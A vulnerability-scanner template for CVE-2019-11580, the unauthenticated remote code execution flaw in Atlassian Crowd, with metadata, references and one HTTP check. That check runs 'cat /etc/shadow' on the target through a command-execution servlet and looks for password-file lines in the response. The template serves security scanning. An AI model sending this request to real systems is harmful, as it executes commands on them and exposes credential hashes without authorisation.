id: CVE-2019-11580

info:
  name: Atlassian Crowd and Crowd Data Center Unauthenticated Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Atlassian Crowd and Crowd Data Center is susceptible to a remote code execution vulnerability because the pdkinstall development plugin is incorrectly enabled in release builds.    Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
  reference:
    - https://github.com/jas502n/CVE-2019-11580
    - https://jira.atlassian.com/browse/CWD-5388
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11580
    - http://packetstormsecurity.com/files/163810/Atlassian-Crowd-pdkinstall-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-11580
    cpe: cpe:2.3:a:atlassian:crowd:*:*:*:*:*:*:*:*
    epss-score: 0.97451
  metadata:
    max-request: 1
    shodan-query: http.component:"Atlassian Jira"
  tags: kev,cisa,packetstorm,cve,cve2019,atlassian,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:*:"
          - "bin:*:"
        condition: and
        part: body
      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/29